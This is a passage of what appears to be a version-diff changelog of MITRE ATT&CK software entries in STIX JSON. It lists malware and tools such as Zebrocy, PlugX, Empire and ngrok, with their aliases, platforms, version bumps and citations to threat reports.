"CISA SoreFang July 2016", + "description": "CISA. (2020, July 16). MAR-10296782-1.v1 \u2013 SOREFANG. Retrieved September 29, 2020.", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a" + }, + { + "source_name": "NCSC APT29 July 2020", + "description": "National Cyber Security Centre. (2020, July 16). Advisory: APT29 targets COVID-19 vaccine development. Retrieved September 29, 2020.", + "url": "https://www.ncsc.gov.uk/files/Advisory-APT29-targets-COVID-19-vaccine-development-V1-1.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SoreFang" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:39:07.705000+00:00\", \"old_value\": \"2025-04-25 14:44:55.728000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--fb78294a-7d7a-4d38-8ad0-92e67fddc9f0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-08-15 16:31:56.856000+00:00", + "modified": "2025-06-06 14:56:56.321000+00:00", + "name": "StrifeWater", + "description": "[StrifeWater](https://attack.mitre.org/software/S1034) is a remote-access tool that has been used by [Moses Staff](https://attack.mitre.org/groups/G1009) in the initial stages of their attacks since at least November 2021.(Citation: Cybereason StrifeWater Feb 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1034", + "external_id": "S1034" + }, + { + "source_name": "Cybereason StrifeWater Feb 2022", + "description": "Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.", + "url": "https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "StrifeWater" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-06 14:56:56.321000+00:00\", \"old_value\": \"2025-04-16 20:38:45.234000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "malware", + "id": "malware--c009560a-f097-45a3-8f9f-78ec1440a783", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-11-29 18:37:40.308000+00:00", + "modified": "2025-10-21 23:26:56.446000+00:00", + "name": "SysUpdate", + "description": "[SysUpdate](https://attack.mitre.org/software/S0663) is a backdoor written in C++ that has been used by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0663", + "external_id": "S0663" + }, + { + "source_name": "HyperSSL", + "description": "(Citation: Trend Micro Iron Tiger April 2021)" + }, + { + "source_name": "Soldier", + "description": "(Citation: Trend Micro Iron Tiger April 2021)" + }, + { + "source_name": "FOCUSFJORD", + "description": "(Citation: Trend Micro Iron Tiger April 2021)" + }, + { + "source_name": "Trend Micro Iron Tiger April 2021", + "description": "Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021.", + "url": "https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "SysUpdate", + "HyperSSL", + "Soldier", + "FOCUSFJORD" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "Linux" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 23:26:56.446000+00:00\", \"old_value\": \"2024-04-10 23:44:19.752000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + }, + { + "type": "tool", + "id": "tool--ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16 16:13:52.465000+00:00", + "modified": "2025-09-29 20:22:30.453000+00:00", + "name": "Tor", + "description": "[Tor](https://attack.mitre.org/software/S0183) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://attack.mitre.org/software/S0183) utilizes \"Onion Routing,\" in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. (Citation: Dingledine Tor The Second-Generation Onion Router)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0183", + "external_id": "S0183" + }, + { + "source_name": "Tor", + "description": "(Citation: Dingledine Tor The Second-Generation Onion Router)" + }, + { + "source_name": "Dingledine Tor The Second-Generation Onion Router", + "description": "Roger Dingledine, Nick Mathewson and Paul Syverson. (2004). Tor: The Second-Generation Onion Router. Retrieved December 21, 2017.", + "url": "http://www.dtic.mil/dtic/tr/fulltext/u2/a465464.pdf" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Tor" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-09-29 20:22:30.453000+00:00\", \"old_value\": \"2025-03-25 22:52:49.139000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4" + }, + { + "type": "malware", + "id": "malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-02-14 16:52:39.925000+00:00", + "modified": "2025-10-21 03:29:54.769000+00:00", + "name": "Woody RAT", + "description": " [Woody RAT](https://attack.mitre.org/software/S1065) is a remote access trojan (RAT) that has been used since at least August 2021 against Russian organizations.(Citation: MalwareBytes WoodyRAT Aug 2022)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1065", + "external_id": "S1065" + }, + { + "source_name": "MalwareBytes WoodyRAT Aug 2022", + "description": "MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.", + "url": "https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Woody RAT" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Yoshihiro Kori, NEC Corporation", + "Pooja Natarajan, NEC Corporation India", + "Manikantan Srinivasan, NEC Corporation India", + "Adam Lichters" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 03:29:54.769000+00:00\", \"old_value\": \"2024-04-10 20:34:14.166000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}}", + "previous_version": "1.1", + "version_change": "1.1 \u2192 1.2" + }, + { + "type": "malware", + "id": "malware--a4f57468-fbd5-49e4-8476-52088220b92d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-22 02:49:35.030000+00:00", + "name": "Zebrocy", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) is a Trojan that has been used by [APT28](https://attack.mitre.org/groups/G0007) since at least November 2015. The malware comes in several programming language variants, including C++, Delphi, AutoIt, C#, VB.NET, and Golang. (Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)(Citation: Unit42 Sofacy Dec 2018)(Citation: CISA Zebrocy Oct 2020) ", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0251", + "external_id": "S0251" + }, + { + "source_name": "Zekapab", + "description": "(Citation: CyberScoop APT28 Nov 2018)(Citation: Accenture SNAKEMACKEREL Nov 2018)" + }, + { + "source_name": "Zebrocy", + "description": "(Citation: Palo Alto Sofacy 06-2018)(Citation: Unit42 Cannon Nov 2018)" + }, + { + "source_name": "Accenture SNAKEMACKEREL Nov 2018", + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50" + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020.", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b" + }, + { + "source_name": "Unit42 Cannon Nov 2018", + "description": "Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New \u2018Cannon\u2019 Trojan. Retrieved November 26, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/" + }, + { + "source_name": "Unit42 Sofacy Dec 2018", + "description": "Lee, B., Falcone, R. (2018, December 12). Dear Joohn: The Sofacy Group\u2019s Global Campaign. Retrieved April 19, 2019.", + "url": "https://unit42.paloaltonetworks.com/dear-joohn-sofacy-groups-global-campaign/" + }, + { + "source_name": "Palo Alto Sofacy 06-2018", + "description": "Lee, B., Falcone, R. (2018, June 06). Sofacy Group\u2019s Parallel Attacks. Retrieved June 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/" + }, + { + "source_name": "CyberScoop APT28 Nov 2018", + "description": "Shoorbajee, Z. (2018, November 29). Accenture: Russian hackers using Brexit talks to disguise phishing lures. Retrieved July 16, 2019.", + "url": "https://www.cyberscoop.com/apt28-brexit-phishing-accenture/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Zebrocy", + "Zekapab" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Emily Ratliff, IBM" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "3.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:49:35.030000+00:00\", \"old_value\": \"2025-04-25 14:44:17.288000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.1\", \"old_value\": \"3.0\"}}}", + "previous_version": "3.0", + "version_change": "3.0 \u2192 3.1" + }, + { + "type": "tool", + "id": "tool--cf23bf4a-e003-4116-bbae-1ea6c558d565", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:33:00.565000+00:00", + "modified": "2025-06-04 16:11:23.752000+00:00", + "name": "ftp", + "description": "[ftp](https://attack.mitre.org/software/S0095) is a utility commonly available with operating systems to transfer information over the File Transfer Protocol (FTP). Adversaries can use it to transfer other tools onto a system or to exfiltrate data.(Citation: Microsoft FTP)(Citation: Linux FTP)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0095", + "external_id": "S0095" + }, + { + "source_name": "Microsoft FTP", + "description": "Microsoft. (2021, July 21). ftp. Retrieved February 25, 2022.", + "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/ftp" + }, + { + "source_name": "Linux FTP", + "description": "N/A. (n.d.). ftp(1) - Linux man page. Retrieved February 25, 2022.", + "url": "https://linux.die.net/man/1/ftp" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ftp", + "ftp.exe" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-04 16:11:23.752000+00:00\", \"old_value\": \"2024-08-14 15:21:48.196000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.2\", \"old_value\": \"2.1\"}}}", + "previous_version": "2.1", + "version_change": "2.1 \u2192 2.2" + }, + { + "type": "malware", + "id": "malware--2a59a237-1530-4d55-91f9-2aebf961cc37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-10-04 06:35:40.506000+00:00", + "modified": "2025-10-22 02:37:07.176000+00:00", + "name": "macOS.OSAMiner", + "description": "[macOS.OSAMiner](https://attack.mitre.org/software/S1048) is a Monero mining trojan that was first observed in 2018; security researchers assessed [macOS.OSAMiner](https://attack.mitre.org/software/S1048) may have been circulating since at least 2015. [macOS.OSAMiner](https://attack.mitre.org/software/S1048) is known for embedding one run-only AppleScript into another, which helped the malware evade full analysis for five years due to a lack of Apple event (AEVT) analysis tools.(Citation: SentinelLabs reversing run-only applescripts 2021)(Citation: VMRay OSAMiner dynamic analysis 2021)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S1048", + "external_id": "S1048" + }, + { + "source_name": "SentinelLabs reversing run-only applescripts 2021", + "description": "Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.", + "url": "https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/" + }, + { + "source_name": "VMRay OSAMiner dynamic analysis 2021", + "description": "VMRAY. (2021, January 14). Malware Analysis Spotlight: OSAMiner Uses Run-Only AppleScripts to Evade Detection. Retrieved October 4, 2022.", + "url": "https://www.vmray.com/cyber-security-blog/osaminer-uses-applescripts-evade-detection-malware-analysis-spotlight/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "macOS.OSAMiner" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 02:37:07.176000+00:00\", \"old_value\": \"2025-04-16 20:37:59.825000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + }, + { + "type": "tool", + "id": "tool--2f7f03bb-f367-4a5a-ad9b-310a12a48906", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-09-14 18:56:34.771000+00:00", + "modified": "2025-10-16 19:37:56.911000+00:00", + "name": "ngrok", + "description": "[ngrok](https://attack.mitre.org/software/S0508) is a legitimate reverse proxy tool that can create a secure tunnel to servers located behind firewalls or on local machines that do not have a public IP. [ngrok](https://attack.mitre.org/software/S0508) has been leveraged by threat actors in several campaigns including use for lateral movement and data exfiltration.(Citation: Zdnet Ngrok September 2018)(Citation: FireEye Maze May 2020)(Citation: Cyware Ngrok May 2019)(Citation: MalwareBytes LazyScripter Feb 2021)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0508", + "external_id": "S0508" + }, + { + "source_name": "Zdnet Ngrok September 2018", + "description": "Cimpanu, C. (2018, September 13). Sly malware author hides cryptomining botnet behind ever-shifting proxy service. Retrieved September 15, 2020.", + "url": "https://www.zdnet.com/article/sly-malware-author-hides-cryptomining-botnet-behind-ever-shifting-proxy-service/" + }, + { + "source_name": "Cyware Ngrok May 2019", + "description": "Cyware. (2019, May 29). Cyber attackers leverage tunneling service to drop Lokibot onto victims\u2019 systems. Retrieved September 15, 2020.", + "url": "https://cyware.com/news/cyber-attackers-leverage-tunneling-service-to-drop-lokibot-onto-victims-systems-6f610e44" + }, + { + "source_name": "MalwareBytes LazyScripter Feb 2021", + "description": "Jazi, H. (2021, February). LazyScripter: From Empire to double RAT. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20211003035156/https://www.malwarebytes.com/resources/files/2021/02/lazyscripter.pdf" + }, + { + "source_name": "FireEye Maze May 2020", + "description": "Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "ngrok" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Janantha Marasinghe" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-16 19:37:56.911000+00:00\", \"old_value\": \"2024-11-27 21:35:52.624000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4" + }, + { + "type": "malware", + "id": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17 00:14:20.652000+00:00", + "modified": "2025-10-22 03:06:38.183000+00:00", + "name": "yty", + "description": "[yty](https://attack.mitre.org/software/S0248) is a modular, plugin-based malware framework. The components of the framework are written in a variety of programming languages. (Citation: ASERT Donot March 2018)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0248", + "external_id": "S0248" + }, + { + "source_name": "yty", + "description": "(Citation: ASERT Donot March 2018)" + }, + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "yty" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-22 03:06:38.183000+00:00\", \"old_value\": \"2025-04-25 14:42:35.950000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "tool", + "id": "tool--3433a9e8-1c47-4320-b9bf-ed449061d1c3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-03-11 14:13:40.648000+00:00", + "modified": "2025-10-24 03:33:19.777000+00:00", + "name": "Empire", + "description": "[Empire](https://attack.mitre.org/software/S0363) is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)", + "revoked": false, + "labels": [ + "tool" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0363", + "external_id": "S0363" + }, + { + "source_name": "EmPyre", + "description": "(Citation: Github PowerShell Empire)" + }, + { + "source_name": "PowerShell Empire", + "description": "(Citation: Github PowerShell Empire)" + }, + { + "source_name": "Github PowerShell Empire", + "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.", + "url": "https://github.com/PowerShellEmpire/Empire" + }, + { + "source_name": "GitHub ATTACK Empire", + "description": "Stepanic, D. (2018, September 2). attck_empire: Generate ATT&CK Navigator layer file from PowerShell Empire agent logs. Retrieved March 11, 2019.", + "url": "https://github.com/dstepanic/attck_empire" + }, + { + "source_name": "NCSC Joint Report Public Tools", + "description": "The Australian Cyber Security Centre (ACSC), the Canadian Centre for Cyber Security (CCCS), the New Zealand National Cyber Security Centre (NZ NCSC), CERT New Zealand, the UK National Cyber Security Centre (UK NCSC) and the US National Cybersecurity and Communications Integration Center (NCCIC). (2018, October 11). Joint report on publicly available hacking tools. Retrieved March 11, 2019.", + "url": "https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_aliases": [ + "Empire", + "EmPyre", + "PowerShell Empire" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.8", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 03:33:19.777000+00:00\", \"old_value\": \"2024-09-25 20:32:02.152000+00:00\"}, \"root['description']\": {\"new_value\": \"[Empire](https://attack.mitre.org/software/S0363) is an open-source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)\", \"old_value\": \"[Empire](https://attack.mitre.org/software/S0363) is an open source, cross-platform remote administration and post-exploitation framework that is publicly available on GitHub. While the tool itself is primarily written in Python, the post-exploitation agents are written in pure [PowerShell](https://attack.mitre.org/techniques/T1059/001) for Windows and Python for Linux/macOS. [Empire](https://attack.mitre.org/software/S0363) was one of five tools singled out by a joint report on public hacking tools being widely used by adversaries.(Citation: NCSC Joint Report Public Tools)(Citation: Github PowerShell Empire)(Citation: GitHub ATTACK Empire)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}", + "previous_version": "1.8", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Empire](https://attack.mitre.org/software/S0363) is an opent1[Empire](https://attack.mitre.org/software/S0363) is an open
> source, cross-platform remote administration and post-explo>-source, cross-platform remote administration and post-explo
>itation framework that is publicly available on GitHub. Whil>itation framework that is publicly available on GitHub. Whil
>e the tool itself is primarily written in Python, the post-e>e the tool itself is primarily written in Python, the post-e
>xploitation agents are written in pure [PowerShell](https://>xploitation agents are written in pure [PowerShell](https://
>attack.mitre.org/techniques/T1059/001) for Windows and Pytho>attack.mitre.org/techniques/T1059/001) for Windows and Pytho
>n for Linux/macOS. [Empire](https://attack.mitre.org/softwar>n for Linux/macOS. [Empire](https://attack.mitre.org/softwar
>e/S0363) was one of five tools singled out by a joint report>e/S0363) was one of five tools singled out by a joint report
> on public hacking tools being widely used by adversaries.(C> on public hacking tools being widely used by adversaries.(C
>itation: NCSC Joint Report Public Tools)(Citation: Github Po>itation: NCSC Joint Report Public Tools)(Citation: Github Po
>werShell Empire)(Citation: GitHub ATTACK Empire)>werShell Empire)(Citation: GitHub ATTACK Empire)
" + }, + { + "type": "malware", + "id": "malware--64fa0de0-6240-41f4-8638-f4ca7ed528fd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:15.638000+00:00", + "modified": "2025-09-11 18:28:54.041000+00:00", + "name": "PlugX", + "description": "[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)", + "revoked": false, + "labels": [ + "malware" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0013", + "external_id": "S0013" + }, + { + "source_name": "DestroyRAT", + "description": "(Citation: CIRCL PlugX March 2013)" + }, + { + "source_name": "Kaba", + "description": "(Citation: FireEye Clandestine Fox Part 2)" + }, + { + "source_name": "PlugX", + "description": "(Citation: Lastline PlugX Analysis) (Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)" + }, + { + "source_name": "Korplug", + "description": "(Citation: Lastline PlugX Analysis)(Citation: CIRCL PlugX March 2013)" + }, + { + "source_name": "Sogu", + "description": "(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: CIRCL PlugX March 2013)" + }, + { + "source_name": "Thoper", + "description": "(Citation: Novetta-Axiom)" + }, + { + "source_name": "TVT", + "description": "(Citation: Novetta-Axiom)" + }, + { + "source_name": "CIRCL PlugX March 2013", + "description": "Computer Incident Response Center Luxembourg. (2013, March 29). Analysis of a PlugX variant. Retrieved November 5, 2018.", + "url": "http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf" + }, + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit 